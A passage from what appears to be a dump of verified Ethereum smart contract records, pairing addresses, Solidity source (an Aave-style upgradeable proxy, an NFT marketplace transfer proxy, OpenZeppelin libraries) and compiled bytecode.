cbe7e71522846040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610ba257600080fd5b505af1158015610bb6573d6000803e3d6000fd5b505050506040513d6020811015610bcc57600080fd5b50506001600160a01b038a811660009081526004602081905260408083206001015460095482516376defaf160e11b81529186169382019390935291841660248301526044820186905260fa6064830152517f0000000000000000000000006b7a87899490ece95443e979ca9485cbe7e715229093169263edbdf5e29260848084019391929182900301818387803b158015610c6757600080fd5b505af1158015610c7b573d6000803e3d6000fd5b5050505050505050505050505050565b60005b600554811015610d8557600060058281548110610ca757fe5b60009182526020909120600290910201546001600160a01b0316905080610d15576040805162461bcd60e51b815260206004820152601b60248201527f496e76616c69642072657761726420706f6f6c20616464726573730000000000604482015290519081900360640190fd5b806001600160a01b0316633d18b9126040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610d5057600080fd5b505af1158015610d64573d6000803e3d6000fd5b505050506040513d6020811015610d7a57600080fd5b505050600101610c8e565b5060005b600854811015610e6b57600060088281548110610da257fe5b60009182526020918290200154604080516370a0823160e01b815230600482015290516001600160a01b03909216926370a0823192602480840193829003018186803b158015610df157600080fd5b505afa158015610e05573d6000803e3d6000fd5b505050506040513d6020811015610e1b57600080fd5b505190508015610e625760035460088054610e62926001600160a01b031691849186908110610e4657fe5b6000918252602090912001546001600160a01b03169190611bfe565b50600101610d89565b50565b6000546001600160a01b03163314610ebb576040805162461bcd60e51b815260206004820181905260248201526000805160206121a4833981519152604482015290519081900360640190fd5b6001600160a01b038116610f005760405162461bcd60e51b815260040180806020018281038252602681526020018061213b6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917fea8258f2d9ddb679928cf34b78cf645b7feda9acc828e4dd82d014eaae270eba91a3600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610fa8576040805162461bcd60e51b815260206004820181905260248201526000805160206121a4833981519152604482015290519081900360640190fd5b6001600160a01b038116611003576040805162461bcd60e51b815260206004820152601b60248201527f696e76616c696420616e797377617020657263323020746f6b656e0000000000604482015290519081900360640190fd5b6000816001600160a01b0316636f307dc36040518163ffffffff1660e01b815260040160206040518083038186803b15801561103e57600080fd5b505afa158015611052573d6000803e3d6000fd5b505050506040513d602081101561106857600080fd5b505190506001600160a01b038116158015906110955750806001600160a01b0316836001600160a01b0316145b6110d05760405162461bcd60e51b815260040180806020018281038252603f8152602001806121c4603f913960400191505060405180910390fd5b6001600160a01b0381166000908152600460205260409020600381015460029091015411156110fe57600080fd5b604080516080810182526001600160a01b039283168082529383166020808301918252600083850181815260608501828152978252600490925293909320915182549085166001600160a01b0319918216178355905160018301805491909516911617909255516002820155905160039091015550565b6001546001600160a01b031633146111be5760405162461bcd60e51b81526004018080602001828103825260228152602001806121616022913960400191505060405180910390fd5b600154600080546040516001600160a01b0393841693909116917faa151555690c956fc3ea32f106bb9f119b5237a061eaa8557cff3e51e3792c8d91a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b600b5481565b6002546001600160a01b031681565b6000546001600160a01b03163314611281576040805162461bcd60e51b815260206004820181905260248201526000805160206121a4833981519152604482015290519081900360640190fd5b6002546001600160a01b03166112da576040805162461bcd60e51b8152602060048201526019602482015278496e76616c6964206375727633706f6f6c206164647265737360381b604482015290519081900360640190fd5b6000807f000000000000000000000000f403c135812408bfbe8713b5a23a04b3d48aae316001600160a01b0316631526fe27856040518263ffffffff1660e01b81526004018082815260200191505060c060405180830381600087803b15801561134357600080fd5b505af1158015611357573d6000803e3d6000fd5b505050506040513d60c081101561136d57600080fd5b50805160609091015190925090506001600160a01b03808316908416146113db576040805162461bcd60e51b815260206004820152601b60248201527f496e76616c696420637572766520746f6b656e20616464726573730000000000604482015290519081900360640190fd5b6113e58185611c55565b60006113f1898961062e565b90506114008989836001611b49565b6002546040805163095ea7b360e01b81526001600160a01b039283166004820152602481018b90529051918b169163095ea7b3916044808201926020929091908290030181600087803b15801561145657600080fd5b505af115801561146a573d6000803e3d6000fd5b505050506040513d602081101561148057600080fd5b505060025460405163384e03db60e01b81526001600160a01b0386811660048301908152600093919091169163384e03db9188918c918c9160240183608080828437600081840152601f19601f8201169050808301925050508281526020019350505050602060405180830381600087803b1580156114fe57600080fd5b505af1158015611512573d6000803e3d6000fd5b505050506040513d602081101561152857600080fd5b50516040805163095ea7b360e01b81526001600160a01b037f000000000000000000000000f403c135812408bfbe8713b5a23a04b3d48aae31811660048301526024820184905291519293509087169163095ea7b3916044808201926020929091908290030181600087803b1580156115a057600080fd5b505af11580156115b4573d6000803e3d6000fd5b505050506040513d60208110156115ca57600080fd5b5050604080516321d0683360e11b815260048101889052602481018390526001604482015290516001600160a01b037f000000000000000000000000f403c135812408bfbe8713b5a23a04b3d48aae3116916343a0d0669160648083019260209291908290030181600087803b15801561164357600080fd5b505af1158015611657573d6000803e3d6000fd5b505050506040513d602081101561166d57600080fd5b505050505050505050505050565b6000546001600160a01b031633146116c8576040805162461bcd60e51b815260206004820181905260248201526000805160206121a4833981519152604482015290519081900360640190fd5b600a546001600160a01b03166116dd57600080fd5b600b54431015611725576040805162461bcd60e51b815260206004820152600e60248201526d7374696c6c20696e20717565756560901b604482015290519081900360640190fd5b600a54600980546001600160a01b0319166001600160a01b03909216919091179055565b60008060005b6005548110156118545760006005828154811061176857fe5b60009182526020909120600290910201546001600160a01b03169050806117d6576040805162461bcd60e51b815260206004820152601b60248201527f496e76616c69642072657761726420706f6f6c20616464726573730000000000604482015290519081900360640190fd5b604080516246613160e11b815230600482015290516001600160a01b03831691628cc262916024808301926020929190829003018186803b15801561181a57600080fd5b505afa15801561182e573d6000803e3d6000fd5b505050506040513d602081101561184457600080fd5b505192909201915060010161174f565b50905090565b7f0000000000000000000000006b7a87899490ece95443e979ca9485cbe7e7152281565b60075481565b600a546001600160a01b031681565b7f000000000000000000000000000000000000000000000000000000000000708081565b6003546001600160a01b031681565b7f000000000000000000000000f403c135812408bfbe8713b5a23a04b3d48aae3181565b60065481565b6000546001600160a01b0316331461193d576040805162461bcd60e51b815260206004820181905260248201526000805160206121a4833981519152604482015290519081900360640190fd5b6001600160a01b03811661195057600080fd5b61197a437f0000000000000000000000000000000000000000000000000000000000007080611e03565b600b55600a80546001600160a01b0319166001600160a01b0392909216919091179055565b6009546001600160a01b031681565b6000546001600160a01b031633146119fb576040805162461bcd60e51b815260206004820181905260248201526000805160206121a4833981519152604482015290519081900360640190fd5b816001600160a01b0316632e1a7d4d826040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b158015611a4157600080fd5b505af1158015611a55573d6000803e3d6000fd5b505050506040513d6020811015611a6b57600080fd5b50505050565b60046020526000908152604090208054600182015460028301546003909301546001600160a01b0392831693919092169184565b6000611ae783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e5d565b90505b92915050565b600082611aff57506000611aea565b82820282848281611b0c57fe5b0414611ae75760405162461bcd60e51b81526004018080602001828103825260218152602001806121836021913960400191505060405180910390fd5b8015611ba6576001600160a01b038416600090815260046020526040902060020154611b759084611e03565b6001600160a01b038516600090815260046020526040902060020155600654611b9e9083611e03565b600655611a6b565b6001600160a01b038416600090815260046020526040902060030154611bcc9084611e03565b6001600160a01b038516600090815260046020526040902060030155600754611bf59083611e03565b60075550505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052611c50908490611eff565b505050565b600554611cf457604080518082019091526001600160a01b038381168252602082018381526005805460018101825560009190915292517f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db0600290940293840180546001600160a01b0319169190931617909155517f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db190910155611dff565b60005b600554811015611c5057826001600160a01b031660058281548110611d1857fe5b60009182526020909120600290910201546001600160a01b031614801590611d5e57508160058281548110611d4957fe5b90600052602060002090600202016001015414155b15611df757604080518082019091526001600160a01b038481168252602082018481526005805460018101825560009190915292517f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db0600290940293840180546001600160a01b0319169190931617909155517f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db1909101555b600101611cf7565b5050565b600082820183811015611ae7576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60008183611ee95760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611eae578181015183820152602001611e96565b50505050905090810190601f168015611edb5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611ef557fe5b0495945050505050565b6060611f54826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316611fb09092919063ffffffff16565b805190915015611c5057808060200190516020811015611f7357600080fd5b5051611c505760405162461bcd60e51b815260040180806020018281038252602a815260200180612203602a913960400191505060405180910390fd5b6060611fbf8484600085611fc7565b949350505050565b6060611fd285612134565b612023576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106120625780518252601f199092019160209182019101612043565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146120c4576040519150601f19603f3d011682016040523d82523d6000602084013e6120c9565b606091505b509150915081156120dd579150611fbf9050565b8051156120ed5780518082602001fd5b60405162461bcd60e51b8152602060048201818152865160248401528651879391928392604401919085019080838360008315611eae578181015183820152602001611e96565b3b15159056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a206d757374206265206e6577206f776e657220746f2070756c6c536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65727072696e6369706c6520746f6b656e206e6f74206d617463686564207769746820616e797377617020455243323020756e6465726c79696e6720746f6b656e5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220654fe8a0fc30223fa048a766255f3848ad341b64697d28c7f8113cd032ebad1964736f6c63430007050033
[ 5 ]
0xf36C394775285F89bBBDF09533421E3e81e8447c
// SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import './BaseImmutableAdminUpgradeabilityProxy.sol'; import '../../../dependencies/openzeppelin/upgradeability/InitializableUpgradeabilityProxy.sol'; /** * @title InitializableAdminUpgradeabilityProxy * @dev Extends BaseAdminUpgradeabilityProxy with an initializer function */ contract InitializableImmutableAdminUpgradeabilityProxy is BaseImmutableAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy { constructor(address admin) public BaseImmutableAdminUpgradeabilityProxy(admin) {} /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override(BaseImmutableAdminUpgradeabilityProxy, Proxy) { BaseImmutableAdminUpgradeabilityProxy._willFallback(); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import '../../../dependencies/openzeppelin/upgradeability/BaseUpgradeabilityProxy.sol'; /** * @title BaseImmutableAdminUpgradeabilityProxy * @author Aave, inspired by the OpenZeppelin upgradeability proxy pattern * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. The admin role is stored in an immutable, which * helps saving transactions costs * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract BaseImmutableAdminUpgradeabilityProxy is BaseUpgradeabilityProxy { address immutable ADMIN; constructor(address admin) public { ADMIN = admin; } modifier ifAdmin() { if (msg.sender == ADMIN) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return ADMIN; } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin { _upgradeTo(newImplementation); (bool success, ) = newImplementation.delegatecall(data); require(success); } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal virtual override { require(msg.sender != ADMIN, 'Cannot call fallback function from the proxy admin'); super._willFallback(); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import './Proxy.sol'; import '../contracts/Address.sol'; /** * @title BaseUpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract BaseUpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal view override returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; //solium-disable-next-line assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require( Address.isContract(newImplementation), 'Cannot set a proxy implementation to a non-contract address' ); bytes32 slot = IMPLEMENTATION_SLOT; //solium-disable-next-line assembly { sstore(slot, newImplementation) } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.6.0; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback() external payable { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { //solium-disable-next-line assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual {} /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, 'Address: insufficient balance'); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(''); require(success, 'Address: unable to send value, recipient may have reverted'); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import './BaseUpgradeabilityProxy.sol'; /** * @title InitializableUpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with an initializer for initializing * implementation and init data. */ contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract initializer. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize(address _logic, bytes memory _data) public payable { require(_implementation() == address(0)); assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if (_data.length > 0) { (bool success, ) = _logic.delegatecall(_data); require(success); } } }
0x60806040526004361061004a5760003560e01c80633659cfe6146100545780634f1ef286146100875780635c60da1b14610107578063d1f5789414610138578063f851a440146101ee575b610052610203565b005b34801561006057600080fd5b506100526004803603602081101561007757600080fd5b50356001600160a01b031661021d565b6100526004803603604081101561009d57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100c857600080fd5b8201836020820111156100da57600080fd5b803590602001918460018302840111640100000000831117156100fc57600080fd5b509092509050610267565b34801561011357600080fd5b5061011c610324565b604080516001600160a01b039092168252519081900360200190f35b6100526004803603604081101561014e57600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561017957600080fd5b82018360208201111561018b57600080fd5b803590602001918460018302840111640100000000831117156101ad57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610371945050505050565b3480156101fa57600080fd5b5061011c610451565b61020b6104ab565b61021b6102166104b3565b6104d8565b565b336001600160a01b037f00000000000000000000000023a875ede3f1030138701683e42e9b16a7f8776816141561025c57610257816104fc565b610264565b610264610203565b50565b336001600160a01b037f00000000000000000000000023a875ede3f1030138701683e42e9b16a7f87768161415610317576102a1836104fc565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d80600081146102fe576040519150601f19603f3d011682016040523d82523d6000602084013e610303565b606091505b505090508061031157600080fd5b5061031f565b61031f610203565b505050565b6000336001600160a01b037f00000000000000000000000023a875ede3f1030138701683e42e9b16a7f877681614156103665761035f6104b3565b905061036e565b61036e610203565b90565b600061037b6104b3565b6001600160a01b03161461038e57600080fd5b6103978261053c565b80511561044d576000826001600160a01b0316826040518082805190602001908083835b602083106103da5780518252601f1990920191602091820191016103bb565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d806000811461043a576040519150601f19603f3d011682016040523d82523d6000602084013e61043f565b606091505b505090508061031f57600080fd5b5050565b6000336001600160a01b037f00000000000000000000000023a875ede3f1030138701683e42e9b16a7f8776816141561036657507f00000000000000000000000023a875ede3f1030138701683e42e9b16a7f8776861036e565b61021b6105a4565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e8080156104f7573d6000f35b3d6000fd5b6105058161053c565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b61054581610614565b6105805760405162461bcd60e51b815260040180806020018281038252603b815260200180610683603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b336001600160a01b037f00000000000000000000000023a875ede3f1030138701683e42e9b16a7f8776816141561060c5760405162461bcd60e51b81526004018080602001828103825260328152602001806106516032913960400191505060405180910390fd5b61021b61021b565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081811480159061064857508115155b94935050505056fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a26469706673582212203801682b75a74ce25ca5dbe58739c5b62298b707b9119c9413881c56f29bcfa864736f6c634300060c0033
[ 15 ]
0xf36c3d70010dcd9477828405f293328793a96e05
//SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * * * Requirements: * - `from`, `to` cannot be zero. * - `tokenId` must be owned by `from`. * - `tokenId` must be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this * NFT by either {approve} or {setApprovalForAll}. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; } interface IERC1155 is IERC165 { /** @notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call). @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard). MUST revert if `_to` is the zero address. MUST revert if balance of holder for token `_id` is lower than the `_value` sent. MUST revert on any other error. MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard). After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard). @param _from Source address @param _to Target address @param _id ID of the token type @param _value Transfer amount @param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to` */ function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external; } interface IERC20 { function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } contract TransferProxy { event operatorChanged(address indexed from, address indexed to); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); address public owner; address public operator; constructor() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner == msg.sender, "Ownable: caller is not the owner"); _; } modifier onlyOperator() { require(operator == msg.sender, "OperatorRole: caller does not have the Operator role"); _; } /** change the OperatorRole from contract creator address to trade contractaddress @param _operator :trade address */ function changeOperator(address _operator) external onlyOwner returns(bool) { require(_operator != address(0), "Operator: new operator is the zero address"); operator = _operator; emit operatorChanged(address(0),operator); return true; } /** change the Ownership from current owner to newOwner address @param newOwner : newOwner address */ function ownerTransfership(address newOwner) external onlyOwner returns(bool){ require(newOwner != address(0), "Ownable: new owner is the zero address"); owner = newOwner; emit OwnershipTransferred(owner, newOwner); return true; } function erc721safeTransferFrom(IERC721 token, address from, address to, uint256 tokenId) external onlyOperator { token.safeTransferFrom(from, to, tokenId); } function erc1155safeTransferFrom(IERC1155 token, address from, address to, uint256 tokenId, uint256 value, bytes calldata data) external onlyOperator { token.safeTransferFrom(from, to, tokenId, value, data); } function erc20safeTransferFrom(IERC20 token, address from, address to, uint256 value) external onlyOperator { require(token.transferFrom(from, to, value), "failure while transferring"); } }
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c8063776062c31161005b578063776062c3146100e85780638da5cb5b146100fd5780639c1c2ee914610110578063f709b9061461012357600080fd5b806306394c9b14610082578063570ca735146100aa5780636fdc202f146100d5575b600080fd5b6100956100903660046105a4565b610136565b60405190151581526020015b60405180910390f35b6001546100bd906001600160a01b031681565b6040516001600160a01b0390911681526020016100a1565b6100956100e33660046105a4565b610250565b6100fb6100f63660046105c8565b610360565b005b6000546100bd906001600160a01b031681565b6100fb61011e366004610619565b610457565b6100fb6101313660046105c8565b6104f2565b600080546001600160a01b031633146101965760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6001600160a01b0382166101ff5760405162461bcd60e51b815260206004820152602a60248201527f4f70657261746f723a206e6577206f70657261746f7220697320746865207a65604482015269726f206164647265737360b01b606482015260840161018d565b600180546001600160a01b0319166001600160a01b0384169081179091556040516000907f1a377613c0f1788c756a416e15f930cf9e84c3a5e808fa2f00b5a18a91a7b864908290a3506001919050565b600080546001600160a01b031633146102ab5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018d565b6001600160a01b0382166103105760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161018d565b600080546001600160a01b0319166001600160a01b0384169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a3506001919050565b6001546001600160a01b0316331461038a5760405162461bcd60e51b815260040161018d906106d7565b6040516323b872dd60e01b81526001600160a01b0384811660048301528381166024830152604482018390528516906323b872dd906064016020604051808303816000875af11580156103e1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610405919061072b565b6104515760405162461bcd60e51b815260206004820152601a60248201527f6661696c757265207768696c65207472616e7366657272696e67000000000000604482015260640161018d565b50505050565b6001546001600160a01b031633146104815760405162461bcd60e51b815260040161018d906106d7565b604051637921219560e11b81526001600160a01b0388169063f242432a906104b79089908990899089908990899060040161074d565b600060405180830381600087803b1580156104d157600080fd5b505af11580156104e5573d6000803e3d6000fd5b5050505050505050505050565b6001546001600160a01b0316331461051c5760405162461bcd60e51b815260040161018d906106d7565b604051632142170760e11b81526001600160a01b0384811660048301528381166024830152604482018390528516906342842e0e90606401600060405180830381600087803b15801561056e57600080fd5b505af1158015610582573d6000803e3d6000fd5b5050505050505050565b6001600160a01b03811681146105a157600080fd5b50565b6000602082840312156105b657600080fd5b81356105c18161058c565b9392505050565b600080600080608085870312156105de57600080fd5b84356105e98161058c565b935060208501356105f98161058c565b925060408501356106098161058c565b9396929550929360600135925050565b600080600080600080600060c0888a03121561063457600080fd5b873561063f8161058c565b9650602088013561064f8161058c565b9550604088013561065f8161058c565b9450606088013593506080880135925060a088013567ffffffffffffffff8082111561068a57600080fd5b818a0191508a601f83011261069e57600080fd5b8135818111156106ad57600080fd5b8b60208285010111156106bf57600080fd5b60208301945080935050505092959891949750929550565b60208082526034908201527f4f70657261746f72526f6c653a2063616c6c657220646f6573206e6f74206861604082015273766520746865204f70657261746f7220726f6c6560601b606082015260800190565b60006020828403121561073d57600080fd5b815180151581146105c157600080fd5b6001600160a01b03878116825286166020820152604081018590526060810184905260a06080820181905281018290526000828460c0840137600060c0848401015260c0601f19601f850116830101905097965050505050505056fea264697066735822122030e8c22354677b108f5349d1e37cc88b6e4e21b3760e0701927e97e2ea266dc464736f6c634300080c0033
[ 38 ]
0xf36C7D45FA32B1ba18Cd5bfA85dE8798AA111908
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function 